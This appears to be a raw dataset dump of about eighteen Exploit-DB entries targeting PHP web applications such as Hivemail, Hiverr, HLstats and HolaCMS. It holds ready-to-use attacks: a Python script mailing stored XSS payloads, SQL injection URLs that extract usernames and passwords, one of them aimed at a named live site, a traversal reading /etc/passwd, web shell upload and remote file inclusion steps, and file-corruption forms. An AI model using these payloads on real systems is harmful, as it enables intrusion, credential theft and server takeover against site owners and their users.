deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20672
Description: Hivemail Webmail - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-20
Author: Shai rod

Exploit:
#!/usr/bin/python


'''

# Exploit Title: Hivemail Webmail Multiple Stored XSS issues
# Date: 16/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hivemail.com/
# Software Link: http://www.hivemail.com/data/HM_1_41F_103.rar
# Version: 1.41F Build 103
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


Vulnerability Description
=========================

1. Stored XSS in email body.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the message body.
XSS Will be triggered when victim opens the message.


2. Stored XSS in e-mail body (HREF).

XSS Payload: <a href=javascript:alert("AnotherXSS")>Click Me</a>

Send an email to the victim with the payload in the email body, once the user clicks on the link the XSS should be triggered.


3. Stored XSS in contacts.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>


Create a new contact with the XSS payload in the contact name field, XSS will be triggered each time user view his contacts.


4. Stored XSS in calendar.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Create a new event and in the event title insert your XSS payload, XSS will be triggered when you view your calendar.


'''


import smtplib

print "###############################################"
print "#      Hivemail Webmail 1.41F StoredXSS       #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "localhost"
smtp_port = 25
subject = "Hivemail Webmail XSS POC"
xss_payload = """<img src='1.jpg'onerror=javascript:alert("XSS")>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: " + xss_payload + "%s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += xss_payload
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Exploit-DB #24462
Description: Hiverr 2.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-06
Author: xStarCode

Exploit:
# Exploit Title: Hiverr v2.2 Multiple Vulnerabilities
# Date: 05.02.2013
# Author: xStarCode
# Exploit Author: xStarCode
# Version: 2.2
# Category: webapps
# Google Dork: *
# Tested on: Linux
# Exploit:


-----Index Vulnerabilities:
==>
SQL Injections
http://localhost/gig_desc.php?No=-13+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11--
http://localhost/categorygigs.php?category=-0+UNION+SELECT+1,version(),3,4,5,6,7--
http://localhost/categorygigs.php?category=&mny=-100+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11--
<==


-----User Panel Vulnerabilities:
==>
SQL Injection
http://localhost/inbox_detail.php?userid=31&recpid=31&gig=-15+UNION+SELECT+1,2,3,version(),5,6,7,8--
<==
-----Multiple Shell Upload:
==>
Go to http://localhost/profilesetting.php
And upload a PHP Shell to "Profile Image"
View source:
<img src="profileimage/*****SHELL*****_.php" alt="image" height="100" width="100">
Go to http://localhost/profileimage/*****SHELL*****_.php
<==
 next -
==>
Go to "Greate Gig" http://localhost/addnewgig.php
And upload a PHP Shell to "Add Image"
View source:
<td width="107">
<img src="gigimages/*****SHELL*****_.php" height="76" width="106">
</td>
Go to http://localhost/gigimages/*****SHELL*****_.php
<==


-----PHP Info Leak:
==>
Go to http://localhost/nitintest.php
<==


# Demo sites:
http://trabajoenlinea.net/
http://aramar.jp/
http://www.seostinger.com/
#
______ Xo
     |
     |
  /  |   \
 ;_/,X_,\_;
\._/x  x\_./
\_./(::)\._/
___ xStarCode
#
Author Mail: xstarcode@vpn.st
Author Website: www.xstarcode.wordpress.com
#
Exploit-DB #28439
Description: HLstats 1.34 - 'hlstats.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-29
Author: kefka

Exploit:
source: https://www.securityfocus.com/bid/19745/info

HLstats is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data.

Exploiting this issue may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.34 is reportedly affected by this issue; other versions may also be affected.

http://www.example.com/hlstats.php?mode=search&game=cstrike&st=player&q=%22%3CSCRIPT%3Ealert%28%22XSS%22%29%3B%3C%2FSCRIPT%3E%22
Exploit-DB #28446
Description: HLstats 1.34 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-08-30
Author: MC.Iglo

Exploit:
source: https://www.securityfocus.com/bid/19771/info

HLstats is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may help an attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.34 is reported vulnerable; other versions may also be affected.

http://www.example.com/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/script%3E 
http://www.example.com/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc http://www.example.com/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/script%3E&game=tfc (instead of 'tfc' you should use the game, HLstats is configurated for)
Exploit-DB #30064
Description: HLstats 1.35 - 'hlstats.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-19
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/24063/info

HLstats is prone to mulitiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may help an attacker steal cookie-based authentication credentials and launch other attacks.

HLstats 1.35 is vulnerable; other versions may also be affected. 

http://www.example.com/hlstats/hlstats.php/>"><script>alert(1)</script> http://www.example.com/hlstats/hlstats.php?action=[xss]
Exploit-DB #10850
Description: HLstatsX 1.65 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: bnc

Exploit:
#==iNFO==========================================#
# Software: HlstatsX Sql Injection
# Vulnerability: Remote Sql Injection
# Google Dork: "hlstats.php?mode=dailyawardinfo&award=" hlstatsx
# Off. site: www.hlstatsx.com
#================================================#

#===Author=======================================#
# Author: bnc
# Date: 2009.12.30.
# Contact: irc.freenode.net<http://irc.freenode.net> #rootsite.hu<http://rootsite.hu> [BNC]
#================================================#


#==SQL_Injection================================#
# Exploit: hxtp://site/hlstats.php?mode=dailyawardinfo&game=l4d&award=@

# Login page: hxtp://site/hlstats.php?mode=admin
#================================================#


#===Greetz=======================================#
# rootsite.hu<http://rootsite.hu> staff & members, for happy moments
# My mom for cookies, and intresting blablas
# My girlfriend, for anything, I just love babe <3
#================================================#
Exploit-DB #10910
Description: HLstatsX Community Edition 1.6.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-02
Author: Sora

Exploit:
# Exploit Title: HLstatsX Community Edition 1.6.5 Cross Site Scripting Vulnerability
# Date: January 1st, 2010
# Author: Sora
# Version: 1.6.5 and lower versions
# Tested on: Windows Vista

-------------------------------------------
> HLstatsX CE 1.6.5 XSS Vulnerability
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/

# DESCRIPTION:
HLstatsX Community Edition suffers from a XSS vulnerability.

# PoC:
http://www.example.com/hlstatsx/hlstats.php?mode=search&q=%3CH1%3EHacked by Sora%3C%2FH1%3E&st=player&game=l4d

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!
Exploit-DB #26722
Description: Hobosworld HobSR - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-05
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15713/info

Hobosworld HobSR is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/view.php?arrange=[SQL]
http://www.example.com/view.php?p=[SQL]
Exploit-DB #6084
Description: HockeySTATS Online 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-07-15
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Hockeystats Online V BASIC & ADVANCED ( index.php opt )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: L!VE DEMO :]]-
##
##  [[BASIC VERSION]]    www.thehockeystop.com/hstatsbasic/?opt=viewpage&type=html&id=-00002'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
##                       www.thehockeystop.com/hstatsbasic/index.php?opt=schedule&season=1&divid=-1'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL+from+teams/*
##
## [[ADVANCED VERSION]]  www.thehockeystop.com/hockeystats/?opt=viewpage&type=html&id=-00002'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
##                       www.thehockeystop.com/hockeystats/index.php?opt=schedule&season=1&divid=-1'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL+from+teams/*
########################
########################
-[[ NOTE ]]-
1 ) In the first exploite you you need set the real id  ?opt=viewpage&type=html&id=-< real id >'+union+select+0,CONCAT_WS(0x3a3a,username,password)MrSQL,0,0,0,0,0+from+teams/*
2 ) Download [[Basic version]] code from here ;D   http://www.thehockeystop.com/site/downloads/HSO_basic/HockeySTATS_Basic.zip
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-15]
Exploit-DB #23027
Description: HolaCMS 1.2.x - 'HTMLtags.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2003-08-13
Author: Virginity Security

Exploit:
source: https://www.securityfocus.com/bid/8416/info

A file include vulnerability has been reported in the htmltags.php module of HolaCMS. This problem may allow an attacker to access potentially sensitive information reserved for adminstration. It has also been reported that some files included via exploitation may allow for information to be edited.

It is not known if this may also be exploited to include remote files. If this is the case, this issue could also lead to remote command execution.

http://www.example.com/path_of_hola/admin/cms/htmltags.php?datei=./sec/data.php
Exploit-DB #25222
Description: HolaCMS 1.2.x/1.4.x Voting Module - Directory Traversal Remote File Corruption
Type: webapps
Platform: php
Date: 2005-03-13
Author: Virginity Security

Exploit:
source: https://www.securityfocus.com/bid/12799/info

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server.

This issue is similar to the vulnerability described in BID 12789 (HolaCMS Voting Module Remote File Corruption Vulnerability). It is reported that HolaCMS 1.4.9-1, which was released to address the issue in BID 12789 is still vulnerable to a variant of that issue.

Specifically, an attacker can bypass the fix introduced in HolaCMS 1.4.9-1 by including directory traversal sequences in the path to a target file.

HolaCMS 1.4.9-1 and prior versions are affected by this issue.

<form action="http://www.example.com/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" value="holaDB/votes/../../admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form>
Exploit-DB #25217
Description: HolaCMS 1.2/1.4.x Voting Module - Remote File Corruption
Type: webapps
Platform: php
Date: 2005-03-12
Author: Virginity Security

Exploit:
source: https://www.securityfocus.com/bid/12789/info

HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server. This is due an input validation error that allows users to submit voting data to an attacker-specified file.

It has been demonstrated that the issue may be exploited to compromise HolaCMS. Arbitrary system files may also be corrupted in the context of the Web server process. Though unconfirmed, it may be possible to execute arbitrary code by corrupting scripts on the computer. 

<form action="http://www.example.com/[site-with-vote].php?vote=1" method="POST">
<input type="hidden" name="vote_filename" value="admin/multiuser/multiuser.php">
<input type="hidden" name="result" value="0">
<input type="submit" value="Stimme abgeben" name="button">
</form>
Exploit-DB #13773
Description: Holiday Travel Portal - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-08
Author: Sid3^effects

Exploit:
==========================================================
            Holiday Travel Portal Upload Vulnerability  
==========================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Holiday Travel Portal Upload Vulnerability 
Date : june, 8 2010
Vendor url :http://www.tourismscripts.com/scripts/
Price: 299 Euro
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),MaYur,LiquidWorm,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Our comfortable Accommodation Hotel Booking Portal for all kind of accommodation
hotels, hostels, apartments, guest house, finca, motels .....
villas, houses, flats, Yachts, Tours, Cities ....

###############################################################################################################
Xploit: Upload Vulnerability

STEP 1 : REgister as a user :)

STEP 2 : demo url for loggin in 

DEMO URL : http://server/user/?

STEP 3 : Once logged in go to edit profile to upload your evil script with an extension .php.jpg :)

STEP 4 : Go to your shell
  
DEMO URL : http://server/user/uploads/small_thumbs/testphpjpeg.php.txt.txt.txt

STEP 5 : And there your are :)
         
###############################################################################################################
#Sid#^effects
Exploit-DB #14306
Description: HoloCMS 9.0.47 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-09
Author: GlaDiaT0R

Exploit:
##############################################################################
# [+]Title: [HoloCMS  9.0.47  (news.php) SQL Injection Vulnerability]
##############################################################################
# [+] About :
##############################################################################
# Author :  GlaDiaT0R  
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team :  Tunisian Power Team 
# Greetz : ALLAH ! , Boomrang_victim, Marwen_Neo, Alphanix, Zigma & my friends
##############################################################################
# Software Link: http://www.assembla.com/wiki/show/holocms
# Category:  webapps/0day 
##############################################################################

=======================

Poc : http://localhost.com/news.php?id=[SQLi]

=======================

###########################################
Notice: I'M MUSLIM
###########################################
Exploit-DB #29748
Description: Holtstraeter Rot 13 - 'Enkrypt.php' Directory Traversal
Type: webapps
Platform: php
Date: 2007-03-16
Author: h4ck3r

Exploit:
source: https://www.securityfocus.com/bid/22997/info

Holtstraeter Rot 13 is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. 

http://www.example.com/enkrypt.php?datei=../../../../etc/passwd
Exploit-DB #5908
Description: HoMaP-CMS 0.1 - 'go' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-23
Author: SxCx

Exploit:
--------------------------------------------------------------------------------------------------------------------------------
// HoMaP-CMS 0.1 (index.php go) SQL Injection Vulnerability
// Author: SxCx
// Download: SourceForge.net
// Version affected: 0.1
// Exploit: index.php?go=0'+union+select+passwd+from+user+where+username=[USERNAME]
--------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-06-23]
Exploit-DB #5902
Description: HoMaP-CMS 0.1 - 'plugin_admin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : HoMaP-CMS 0.1          ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/html/admin/modules/plugin_admin.php?_settings[pluginpath]=[SHELL]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-06-22]